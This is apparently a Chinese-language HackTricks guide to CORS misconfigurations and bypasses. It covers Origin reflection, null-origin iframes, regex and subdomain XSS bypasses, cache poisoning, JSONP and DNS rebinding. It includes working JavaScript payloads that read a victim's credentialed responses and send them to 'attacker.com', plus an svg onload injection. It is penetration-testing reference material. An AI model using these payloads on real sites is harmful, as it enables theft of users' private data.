27 KiB
CORS - Misconfigurations & Bypass
{% hint style="success" %}
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 分享黑客技巧。
{% embed url="https://websec.nl/" %}
什么是 CORS?
跨源资源共享 (CORS) 标准 使服务器能够定义谁可以访问其资产 和 哪些 HTTP 请求方法被允许 来自外部来源。
同源 策略要求 请求 资源的服务器和托管 资源 的服务器共享相同的协议(例如,http://
)、域名(例如,internal-web.com
)和 端口(例如,80)。在此策略下,仅允许来自同一域和端口的网页访问资源。
在 http://normal-website.com/example/example.html
的上下文中,同源策略的应用如下所示:
访问的 URL | 是否允许访问? |
---|---|
http://normal-website.com/example/ |
是:相同的协议、域名和端口 |
http://normal-website.com/example2/ |
是:相同的协议、域名和端口 |
https://normal-website.com/example/ |
否:不同的协议和端口 |
http://en.normal-website.com/example/ |
否:不同的域名 |
http://www.normal-website.com/example/ |
否:不同的域名 |
http://normal-website.com:8080/example/ |
否:不同的端口* |
*Internet Explorer 在执行同源策略时忽略端口号,因此允许此访问。
Access-Control-Allow-Origin
头
此头可以允许 多个源、null
值或通配符 *
。然而,没有浏览器支持多个源,并且使用通配符 *
受到 限制。(通配符必须单独使用,且与 Access-Control-Allow-Credentials: true
一起使用是不允许的。)
此头是 由服务器发出 的,以响应由网站发起的跨域资源请求,浏览器会自动添加 Origin
头。
Access-Control-Allow-Credentials
头
默认情况下,跨源请求是在没有凭据(如 cookies 或 Authorization 头)的情况下进行的。然而,跨域服务器可以通过将 Access-Control-Allow-Credentials
头设置为 true
来允许在发送凭据时读取响应。
如果设置为 true
,浏览器将传输凭据(cookies、授权头或 TLS 客户端证书)。
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
CSRF 预检请求
理解跨域通信中的预检请求
在特定条件下发起跨域请求时,例如使用 非标准 HTTP 方法(除了 HEAD、GET、POST 以外的任何方法)、引入新的 头部,或使用特殊的 Content-Type 头部值,可能需要进行预检请求。这个初步请求利用 OPTIONS
方法,旨在通知服务器即将到来的跨源请求的意图,包括它打算使用的 HTTP 方法和头部。
跨源资源共享 (CORS) 协议要求进行此预检检查,以确定请求的跨源操作的可行性,通过验证允许的方法、头部和来源的可信度。有关哪些条件可以绕过预检请求的详细理解,请参考 Mozilla 开发者网络 (MDN) 提供的综合指南。
需要注意的是,缺少预检请求并不意味着响应不需要携带授权头部。没有这些头部,浏览器将无法处理来自跨源请求的响应。
考虑以下示例,展示了一个旨在使用 PUT
方法和名为 Special-Request-Header
的自定义头部的预检请求:
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
在响应中,服务器可能会返回指示接受的方法、允许的来源和其他CORS政策细节的头部,如下所示:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers
: 此头部指定在实际请求中可以使用哪些头部。它由服务器设置,以指示来自客户端的请求中允许的头部。Access-Control-Expose-Headers
: 通过此头部,服务器通知客户端哪些头部可以作为响应的一部分被暴露,除了简单的响应头部。Access-Control-Max-Age
: 此头部指示预检请求的结果可以被缓存多长时间。服务器设置预检请求返回的信息可以重用的最大时间(以秒为单位)。Access-Control-Request-Headers
: 在预检请求中使用,此头部由客户端设置,以通知服务器客户端希望在实际请求中使用哪些HTTP头部。Access-Control-Request-Method
: 此头部也在预检请求中使用,由客户端设置,以指示在实际请求中将使用哪个HTTP方法。Origin
: 此头部由浏览器自动设置,指示跨源请求的来源。服务器使用它来评估根据CORS策略是否应允许或拒绝传入请求。
请注意,通常情况下(取决于内容类型和设置的头部)在GET/POST请求中不会发送预检请求(请求是直接发送的),但如果您想访问响应的头部/主体,它必须包含一个允许的 Access-Control-Allow-Origin 头部。
因此,CORS并不能防止CSRF(但它可能有帮助)。
本地网络请求预检请求
Access-Control-Request-Local-Network
: 此头部包含在客户端的请求中,以表明该请求是针对本地网络资源的。它作为一个标记,通知服务器请求源自本地网络内。Access-Control-Allow-Local-Network
: 作为响应,服务器使用此头部来传达请求的资源被允许与本地网络外的实体共享。它作为跨不同网络边界共享资源的绿灯,确保在维护安全协议的同时实现受控访问。
一个有效的响应允许本地网络请求还需要在响应中包含头部 Access-Controls-Allow-Local_network: true
:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
{% hint style="warning" %} 注意,linux 0.0.0.0 IP 可以用来 绕过 这些要求以访问 localhost,因为该 IP 地址不被视为“本地”。
如果使用 本地端点的公共 IP 地址(如路由器的公共 IP),也可以 绕过本地网络要求。因为在多种情况下,即使正在访问 公共 IP,如果是 来自本地网络,也会被允许访问。 {% endhint %}
可利用的错误配置
已观察到将 Access-Control-Allow-Credentials
设置为 true
是大多数 真实攻击 的前提条件。此设置允许浏览器发送凭据并读取响应,从而增强攻击的有效性。如果没有这个,浏览器发出请求的好处就会减少,因为利用用户的 cookies 变得不可行。
例外:利用网络位置作为认证
存在一个例外情况,即受害者的网络位置作为一种认证形式。这允许受害者的浏览器作为代理使用,绕过基于 IP 的认证以访问内网应用程序。这种方法在影响上与 DNS 重新绑定相似,但更容易利用。
Origin
在 Access-Control-Allow-Origin
中的反射
在现实场景中,Origin
头的值反射在 Access-Control-Allow-Origin
中在理论上是不太可能的,因为对这些头的组合有限制。然而,寻求为多个 URL 启用 CORS 的开发者可能会通过复制 Origin
头的值动态生成 Access-Control-Allow-Origin
头。这种方法可能引入漏洞,特别是当攻击者使用一个看似合法的域名时,从而欺骗验证逻辑。
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
利用 null
Origin
null
origin,指定用于重定向或本地 HTML 文件等情况,具有独特的地位。一些应用程序将此 origin 列入白名单以便于本地开发,无意中允许任何网站通过沙盒 iframe 模仿 null
origin,从而绕过 CORS 限制。
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
正则表达式绕过技术
当遇到域名白名单时,测试绕过机会至关重要,例如将攻击者的域名附加到白名单域名或利用子域名接管漏洞。此外,用于域名验证的正则表达式可能会忽视域名命名规则中的细微差别,从而提供进一步的绕过机会。
高级正则表达式绕过
正则表达式模式通常集中于字母数字、点 (.) 和连字符 (-) 字符,忽略其他可能性。例如,构造一个包含浏览器和正则表达式模式以不同方式解释的字符的域名,可以绕过安全检查。Safari、Chrome 和 Firefox 对子域名中下划线字符的处理说明了如何利用这些差异来规避域名验证逻辑。
有关此绕过检查的更多信息和设置: https://www.corben.io/advanced-cors-techniques/ 和 https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
从子域名中的 XSS
开发人员通常实施防御机制,以通过白名单允许请求信息的域名来保护免受 CORS 利用。尽管采取了这些预防措施,但系统的安全性并非万无一失。在白名单域名中,即使存在一个脆弱的子域名,也可能通过其他漏洞(如 XSS(跨站脚本))打开 CORS 利用的大门。
例如,考虑一个场景,其中域名 requester.com
被列入白名单以访问另一个域名 provider.com
的资源。服务器端配置可能如下所示:
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
在这个设置中,requester.com
的所有子域都被允许访问。然而,如果一个子域,比如 sub.requester.com
,存在 XSS 漏洞,攻击者可以利用这个弱点。例如,拥有 sub.requester.com
访问权限的攻击者可以利用 XSS 漏洞绕过 CORS 策略,恶意访问 provider.com
上的资源。
服务器端缓存中毒
通过 HTTP 头注入利用服务器端缓存中毒,可能会诱发存储的跨站脚本 (XSS) 漏洞。当应用程序未能清理 Origin
头中的非法字符时,这种情况就会发生,特别是对 Internet Explorer 和 Edge 用户而言。这些浏览器将 (0x0d) 视为合法的 HTTP 头终止符,从而导致 HTTP 头注入漏洞。
考虑以下请求,其中 Origin
头被操纵:
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer 和 Edge 将响应解释为:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
虽然通过使网络浏览器发送格式错误的头部直接利用此漏洞并不可行,但可以使用像 Burp Suite 这样的工具手动生成一个精心制作的请求。此方法可能导致服务器端缓存保存响应,并无意中将其提供给其他人。精心制作的有效载荷旨在将页面的字符集更改为 UTF-7,这是一种字符编码,通常与 XSS 漏洞相关,因为它能够以某种方式编码字符,使其在特定上下文中可以作为脚本执行。
有关存储型 XSS 漏洞的进一步阅读,请参见 PortSwigger。
注意:利用 HTTP 头注入漏洞,特别是通过服务器端缓存中毒,强调了验证和清理所有用户提供的输入(包括 HTTP 头)的重要性。始终采用包括输入验证在内的强大安全模型,以防止此类漏洞。
客户端缓存中毒
在这种情况下,观察到一个网页实例反映了未正确编码的自定义 HTTP 头的内容。具体而言,网页反映了包含在 X-User-id
头中的内容,这可能包括恶意 JavaScript,如示例所示,其中头部包含一个 SVG 图像标签,旨在在加载时执行 JavaScript 代码。
跨源资源共享 (CORS) 策略允许发送自定义头部。然而,由于 CORS 限制,响应未被浏览器直接呈现,这种注入的实用性似乎有限。关键点在于考虑浏览器的缓存行为。如果未指定 Vary: Origin
头,则恶意响应可能会被浏览器缓存。随后,当导航到该 URL 时,这个缓存的响应可能会被直接呈现,绕过初始请求时直接呈现的需要。此机制通过利用客户端缓存增强了攻击的可靠性。
为了说明此攻击,提供了一个 JavaScript 示例,旨在在网页环境中执行,例如通过 JSFiddle。该脚本执行一个简单的操作:它向指定的 URL 发送一个包含恶意 JavaScript 的自定义头的请求。在请求成功完成后,它尝试导航到目标 URL,如果响应在未正确处理 Vary: Origin
头的情况下被缓存,可能会触发注入脚本的执行。
以下是用于执行此攻击的 JavaScript 的简要分解:
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
Bypass
XSSI (Cross-Site Script Inclusion) / JSONP
XSSI,也称为跨站脚本包含,是一种利用同源策略(SOP)在使用脚本标签包含资源时不适用的漏洞。这是因为脚本需要能够从不同域包含。这种漏洞允许攻击者访问和读取任何通过脚本标签包含的内容。
当涉及到动态JavaScript或JSONP(带填充的JSON)时,这种漏洞尤其重要,特别是当使用像cookies这样的环境权限信息进行身份验证时。当从不同主机请求资源时,cookies会被包含,使攻击者可以访问。
为了更好地理解和缓解这种漏洞,您可以使用可在https://github.com/kapytein/jsonp找到的BurpSuite插件。该插件可以帮助识别和解决您Web应用程序中的潜在XSSI漏洞。
尝试在请求中添加一个**callback
** 参数。也许页面准备将数据作为JSONP发送。在这种情况下,页面将以Content-Type: application/javascript
返回数据,从而绕过CORS策略。
Easy (useless?) bypass
绕过Access-Control-Allow-Origin
限制的一种方法是请求Web应用程序代表您发出请求并发送回响应。然而,在这种情况下,最终受害者的凭据不会被发送,因为请求是发往不同的域。
- CORS-escape:该工具提供一个代理,转发您的请求及其头,同时伪造Origin头以匹配请求的域。这有效地绕过了CORS政策。以下是使用XMLHttpRequest的示例:
- simple-cors-escape:该工具提供了一种替代的请求代理方法。服务器不是直接传递您的请求,而是使用指定的参数发出自己的请求。
Iframe + Popup Bypass
您可以通过创建一个iframe并从中打开一个新窗口来绕过CORS检查,例如e.origin === window.origin
。更多信息请参见以下页面:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
DNS Rebinding via TTL
通过TTL进行DNS重绑定是一种通过操纵DNS记录来绕过某些安全措施的技术。其工作原理如下:
- 攻击者创建一个网页并使受害者访问它。
- 攻击者然后更改其域的DNS(IP)以指向受害者的网页。
- 受害者的浏览器缓存DNS响应,可能具有TTL(生存时间)值,指示DNS记录应被视为有效的时间。
- 当TTL过期时,受害者的浏览器发出新的DNS请求,允许攻击者在受害者的页面上执行JavaScript代码。
- 通过保持对受害者IP的控制,攻击者可以在不向受害者服务器发送任何cookies的情况下收集受害者的信息。
需要注意的是,浏览器具有缓存机制,可能会阻止立即滥用此技术,即使TTL值较低。
DNS重绑定对于绕过受害者执行的显式IP检查或用户或机器人在同一页面上停留较长时间的场景非常有用,从而允许缓存过期。
如果您需要快速滥用DNS重绑定,可以使用像https://lock.cmpxchg8b.com/rebinder.html这样的服务。
要运行自己的DNS重绑定服务器,您可以使用像DNSrebinder(https://github.com/mogwailabs/DNSrebinder)这样的工具。这涉及到暴露您的本地端口53/udp,创建一个指向它的A记录(例如,ns.example.com),并创建一个指向先前创建的A子域的NS记录(例如,ns.example.com)。ns.example.com子域的任何子域将由您的主机解析。
您还可以访问http://rebind.it/singularity.html上的公共运行服务器以进一步理解和实验。
DNS Rebinding via DNS Cache Flooding
通过DNS缓存洪水进行DNS重绑定是另一种用于绕过浏览器缓存机制并强制第二个DNS请求的技术。其工作原理如下:
- 最初,当受害者发出DNS请求时,响应为攻击者的IP地址。
- 为了绕过缓存防御,攻击者利用服务工作者。服务工作者洪水式地填充DNS缓存,这有效地删除了缓存的攻击者服务器名称。
- 当受害者的浏览器发出第二个DNS请求时,现在响应为IP地址127.0.0.1,这通常指的是本地主机。
通过使用服务工作者洪水填充DNS缓存,攻击者可以操纵DNS解析过程并强制受害者的浏览器发出第二个请求,这次解析为攻击者所需的IP地址。
DNS Rebinding via Cache
绕过缓存防御的另一种方法是利用DNS提供商中同一子域的多个IP地址。其工作原理如下:
- 攻击者在DNS提供商中为同一子域设置两个A记录(或一个具有两个IP的A记录)。
- 当浏览器检查这些记录时,它接收到两个IP地址。
- 如果浏览器决定首先使用攻击者的IP地址,攻击者可以提供一个有效载荷,执行对同一域的HTTP请求。
- 然而,一旦攻击者获得受害者的IP地址,他们就停止响应受害者的浏览器。
- 受害者的浏览器在意识到该域无响应后,转而使用第二个给定的IP地址。
- 通过访问第二个IP地址,浏览器绕过同源策略(SOP),允许攻击者滥用这一点并收集和外泄信息。
该技术利用了浏览器在为域提供多个IP地址时的行为。通过战略性地控制响应并操纵浏览器的IP地址选择,攻击者可以利用SOP并访问受害者的信息。
{% hint style="warning" %}
请注意,为了访问localhost,您应该尝试在Windows中重新绑定127.0.0.1,在Linux中重新绑定0.0.0.0。
像godaddy或cloudflare这样的提供商不允许我使用IP 0.0.0.0,但AWS route53允许我创建一个具有两个IP的A记录,其中一个是"0.0.0.0"
有关更多信息,您可以查看https://unit42.paloaltonetworks.com/dns-rebinding/
Other Common Bypasses
- 如果不允许内部IP,他们可能忘记禁止0.0.0.0(在Linux和Mac上有效)
- 如果不允许内部IP,则响应CNAME到localhost(在Linux和Mac上有效)
- 如果不允许内部IP作为DNS响应,您可以响应CNAME到内部服务,例如www.corporate.internal。
DNS Rebidding Weaponized
您可以在演讲Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference中找到有关先前绕过技术的更多信息以及如何使用以下工具。
Singularity of Origin
是一个执行DNS重绑定攻击的工具。它包括将攻击服务器DNS名称的IP地址重新绑定到目标机器的IP地址并提供攻击有效载荷以利用目标机器上脆弱软件所需的组件。
Real Protection against DNS Rebinding
- 在内部服务中使用TLS
- 请求身份验证以访问数据
- 验证Host头
- https://wicg.github.io/private-network-access/:提议在公共服务器想要访问内部服务器时始终发送预检请求
Tools
Fuzz可能的CORS政策配置错误
- https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
- https://github.com/omranisecurity/CorsOne
References
- https://portswigger.net/web-security/cors
- https://portswigger.net/web-security/cors/access-control-allow-origin
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
- https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
- https://www.codecademy.com/articles/what-is-cors
- https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
- https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
- https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
学习和实践AWS黑客攻击:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践GCP黑客攻击:HackTricks Training GCP Red Team Expert (GRTE)
支持HackTricks
- 查看订阅计划!
- 加入 💬 Discord小组或电报小组或在 Twitter 🐦 @hacktricks_live上关注我们。
- 通过向 HackTricks和HackTricks Cloud GitHub库提交PR分享黑客技巧。